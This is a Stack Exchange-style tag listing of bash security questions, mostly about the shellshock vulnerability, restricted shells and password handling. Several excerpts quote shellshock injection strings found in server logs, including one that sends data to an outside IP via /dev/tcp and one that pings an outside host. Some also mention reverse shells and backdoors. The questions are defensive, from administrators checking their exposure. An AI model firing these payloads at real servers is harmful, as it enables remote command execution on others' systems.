Questions tagged [bash]

The Bourne-again shell (Bash) is a unix shell. It lets the user run commands on the host machine in as a text based program. Questions using this tag should either be related to vulnerabilities of bash or proper use of specific commands.

Filter by
Sorted by
Tagged with
0
votes
1answer
413 views

Does having /sbin/nologin mean I cannot start the /bin/sh executable?

While practicing exploitation on a lab, I managed to get the ability to execute php code which allowed me to execute system commands through shell_exec on a web server. The apache user has /sbin/...
5
votes
1answer
3k views

Why is `cd` restricted in rbash/restricted bash?

The bash manual says: A restricted shell behaves identically to bash with the exception that the following are disallowed or not performed: Changing directories with the cd builtin. Why is ...
2
votes
2answers
202 views

Way to combine encrypted tar and encrypted symmetric key with which tar was encrypted?

We are using Beaglebone Black (AM335x) based custom board, so for firmware upgrades of the board we will be using an encrypted firmware image. As you would have already guessed, we will be using ...
3
votes
2answers
4k views

Security of only allowing a few vetted commands using $SSH_ORIGINAL_COMMAND

Using a authorized_keys forced command with ssh and a wrapper-script like this: #!/usr/bin/env bash case "$SSH_ORIGINAL_COMMAND" in /var/lib/authorized-scripts/*) $SSH_ORIGINAL_COMMAND ;; ...
1
vote
0answers
47 views

How does text that is displayed with cat end up trying to execute in the Linux terminal? [duplicate]

Sometimes you accidentally "cat" a binary... only for your terminal to become utterly corrupted, ending up in another code page where all characters are unrecognizable, while your shell spits back at ...
0
votes
1answer
68 views

taking input from webform and piping into bash password prompt

I've been wanting to create a simple web application that would allow me to view certain text files that I've encryped with GnuPG residing on my webserver through any browser remotely. I've figured ...
2
votes
3answers
309 views

How does one securely create a MySQL database and user via the command line?

I'm making an app whose functionality includes creating a database and its user. This is accomplished like so: mysql -e "grant all on database.* to 'user'@'localhost' identified by '$PW';" $PW is ...
4
votes
0answers
126 views

Address of environment variable different for each directory

I'm writing a return-to-libc attack for a school project. My script retrieves the system(), exit() and shell addresses as follows (it's a sh script that calls some c programs): Create the environment ...
6
votes
4answers
18k views

How can I use netcat like ping?

How can we use the netcat (nc) to determine whether a particular machine is running web, mail or SSH services?
23
votes
2answers
2k views

What vulnerability is targeted by an HTTP referer starting with (){ :;};/bin/bash

I found this code, followed by several bash commands downloading and running a payload from the web, in the referer field in my apache error logs. The attack appears to work by converting a command ...
2
votes
2answers
428 views

Prevent Plain-Text Passwords Output by a Script From Being Accessible in the Future

Let's say I have a Bash script that generates a password, creates a new user with that password, and then tells me what the password is: # Generate a password and set it to $PASSWORD PASSWORD=$(tr -...
1
vote
1answer
1k views

What's the secure way to write clear text password into a file?

I'm trying to insert sensible data into a file. I'm trying to write a MySQL configuration file dynamically. The file contains this: [client] password: 87sfZEKEF,5 The script that I used is owned by ...
20
votes
4answers
7k views

Avast performing an attack?

I have a Toshiba notebook, which came with Norton Internet Security. In addition, I have installed Avast. I received a warning from Norton about a OS Attack: GNU Bash CVE-2014-6271 intrusion attempt. ...
4
votes
3answers
9k views

Trying to create a reverse bind shell from Windows to Linux

I’m trying to create an encrypted reverse bind shell from my Windows machine to my Linux machine. Being totally new to penetration testing, I’m having a little bit of trouble. First, on my Linux (...
9
votes
3answers
18k views

MSFConsole/Kali Linux - gain root access to unix system

I am messing around with Kali Linux, MSFConsole and DVWA (Damn Vulnerable Web Application). I have successfully been able to get into the system (Raspberry Pi) by creating a PHP backdoor and uploaded ...
5
votes
2answers
100 views

Is my shell prompt visible to public?

Let say my local system's shell prompt is in this format: myname@mysurname:~$ Is it logged in some server when I login there via SSH/FTP? Or is it completely private information?
3
votes
1answer
102 views

Why is it a terrible idea to implement restrictive measures in .bashrc?

Asking this because apparently there are multiple people who genuinely don't realize just how bad of an idea this is, and I want there to be a single, easy-to-find place for them to go / be sent.
4
votes
1answer
808 views

Bash scripting and password input

I am writing a bash script and prompt the user for his password. This password is supplied for either a local or domain account to query a MS SQL Server (using sqsh and freetds). How secure is the ...
5
votes
1answer
3k views

Program getting exploited inside gdb, new shell is spawned but terminated immediately

I am trying to exploit a SUID program. The program is: #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #define e(); if(((unsigned int)ptr &...
3
votes
1answer
278 views

Strange apache log line [duplicate]

I just came across this entry on one of my servers: 213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/ > /dev/tcp/74.208.79.34/...
3
votes
1answer
746 views

Automating NIKTO scanner

I am working on NIKTO automation. I have a text file contains list of IP addresses along with their ports open. I have already made nikto script. Script functionality - it takes IP addresses and then ...
1
vote
2answers
138 views

security concern of user submitted bash command

Recently I am building a web service that user input will be used to run a bash command on the server side. What are the security problem I need to take care? Right now I find one that user could ...
3
votes
1answer
405 views

Bash Shellshock

I am trying to find out if my devices are vulnerable to bash shellshock. I have run the commands found on https://shellshocker.net. It seems my devices are both susceptible to only one of the ...
2
votes
1answer
324 views

Is this PHP TOTP (time based one time password) idea sound?

Disclaimer: I am not very familiar with safety techniques in general. The problem: Quickly create lots of small files in server from a bash script. I used to use scp (secure copy) in order to create ...
142
votes
11answers
176k views

Provide subjectAltName to OpenSSL directly on the command line

Is it possible to provide a subjectAltName-Extension to the OpenSSL req module directly on the command line? I know it's possible via a openssl.cnf file, but that's not really elegant for batch-...
7
votes
2answers
5k views

Hacked Ubuntu server, probably hacked commands (netstat, ps, …), how to replace them? [duplicate]

An Ubuntu server of my company has been hacked to carry out a DoS attack. I found the shellshock bug had not been fixed by my colleagues, and I think it's the problem. Then, I found an ELF file that ...
1
vote
2answers
1k views

Nmap scan list of domains and provide boolean if up/down

I have a newline separated list of domains that I would like to perform an arbitrary nmap scan on (e.g. aggressive, syn) and I would like to output a boolean that indicates whether or not any ports ...
3
votes
1answer
961 views

Shellshock and PHP fastcgi

I understand that running apache/mod_php is safe, but I havn't heard about the case of running php in fastcgi mode (via nginx/php5-fpm), so, anyone can confirm this is also safe?
-1
votes
1answer
158 views

Shellshock vulnerability for pc inside LAN

A common pc running bash inside a home LAN network (with a router/gateway providing internet access to the LAN) does not have any contact with the external internet, except browser navigation and the ...
1
vote
1answer
683 views

Exploiting shellshock

On doing some digging on the shell shock vulnerability, I found that being able to run the exploit via a remote location depends on whether the attacker actually knows the exact cgi script which uses ...
3
votes
2answers
547 views

Set-uid script wrappers, `system(3)` shellshock and Bash Function Import from Environment

Given that it is a frequent requirement to allow unprivileged users restricted access to privileged functions: Jobbing sysadmins sometimes provide this in the form of shellscripts, which are then ...
1
vote
1answer
3k views

shellshock dhcp exploitation

An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could ...
1
vote
2answers
1k views

Shellshock plus sudo/su environment whitelist bypass - big problem?

The question is: How big a problem is this? Looks pretty big to me. With the shellshock bug it is possible to bypass the whitelist of known-harmless environment variables in sudo, as well as other ...
6
votes
1answer
316 views

When Shellshock was introduced, how bad was it **then**?

The shellshock bug, and the underlying feature allowing Function Import from the Environment (I'm calling it FIE), have been in bash since at least 1993, before the rise of CGI. At that time, the ...
13
votes
4answers
3k views

Does the bash shell function import feature inevitably give rise to privilege escalation problem?

Even without the immediate code-execution problem of Shellshock trailing commands, to what extent does the feature of bash importing functions from the environment give rise to a comprehensive ...
10
votes
2answers
8k views

Does shellshock produce a comprehensive local privilege escalation vector?

If setuid scripts take arbitrary environment variables, apart from a few black-listed ones like LD_LIBRARY_PATH, from the caller, does this not mean that any setuid script running #!/bin/bash directly ...
1
vote
0answers
808 views

Bash shell exploit using SIP

I have a SIP proxy server, that would like to test Shellshock on. I have used this https://github.com/zaf/sipshock to try and test. but this is what I get. So I just want to know generally what is ...
2
votes
1answer
2k views

Is server exploitable by Shellshock with cgi-enabled only?

A server with vulnerable bash, but cgi enabled only and there are no cgi scripts in cgi-bin. Is it still exploitable ?? If there are scripts in cgi-bin and only server-admin knows about filenames of ...
2
votes
1answer
1k views

Setup a quick web site vulnerable to Shellshock bash bug

Can anyone let me know the steps to setup a simple Hello World Apache (or other GNU/Linux) website that i can hit over 80 or 443 and exploit any bash CVE vuln; assuming I have a vulnerable bash. I ...
25
votes
1answer
8k views

Where is Bash Shellshock vulnerability in source code?

I have been hearing about the Bash Shellshock problem since yesterday and am curious to see where in the source code this problem occurs. I have downloaded the source for Bash 4.2 from here. Where ...
13
votes
5answers
2k views

Is replacing bash with another shell a prudent step?

Considering that RedHat and other major teams in business are conducting an audit in bash and have uncovered a few other vulnerabilities besides -7169 (-7186 and -7187), is it sensible to link /bin/sh ...
0
votes
1answer
661 views

Bash attack. Am I vulnerable? [duplicate]

Someone, today, appears to have tried to attack my VPS. I checked my logs and saw this: 54.251.83.67 - - [26/Sep/2014:17:07:02 -0400] "GET / HTTP/1.1" 200 1437 "-" "() { :;}; /bin/bash -c \"echo ...
2
votes
2answers
3k views

Git bash shellshock vulnerability [duplicate]

I have installed Git for Windows with bash shell support. Is it vulnerable to ShellShock? Refs: GitHub's Bash Shell for Windows is vulnerable to Shellshock. Can it do any harm though? https://...
9
votes
4answers
5k views

What do shellshock attacks look like in system logs? [closed]

I have some Linux servers, which from what I can tell are not vulnerable to the shellshock attack vector, but I am curious what the attack looks like in the logs. What does a successful attack look ...
7
votes
5answers
11k views

Shellshock attack scenario exploiting php

I've seen attack scenarios involving using wget on cgi-scripts, but how about a scenario exploiting a web server php script that issues an exec() or system() call to a bash script? As far as I can ...
-8
votes
1answer
448 views

Can someone shut the “198.101.206.138” and “89.207.135.125” down? [closed]

egrep "};|}\s*;" /var/www/logs/access* 89.207.135.125 - - [25/Sep/2014:10:47:58 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" How can we ...
3
votes
3answers
504 views

Export env variables on the server? (Shellshock)

I was just reading about Shellshock and how it works. From what I understood it exploits the fact that the code is being executed even after the export of the function definition which is exported as ...
1
vote
1answer
157 views

Can shellshock be used on a system with public webpages but restricted server access?

I want to know if my servers are still vulnerable under the following conditions... My servers are private - only myself and trusted developers have access to them We have enabled executables within ...
2
votes
1answer
258 views

How does the Shellshock patch actually prevent the problem?

I can't understand something about Shellshock bug - if these environmental functions (which declaration begins with "()" ) are executed on the shell start, how does the patch prevent the problem? We ...
4
votes
1answer
3k views

Am I safe if browsing to /cgi-bin/ returns HTTP 403?

I am wondering whether my server could be vulnerable to ShellShock (or better: was vulnerable). The shell test reveals that I'm vulnerable: $ export evil='() { :;}; echo vulnerable'; bash -c echo; ...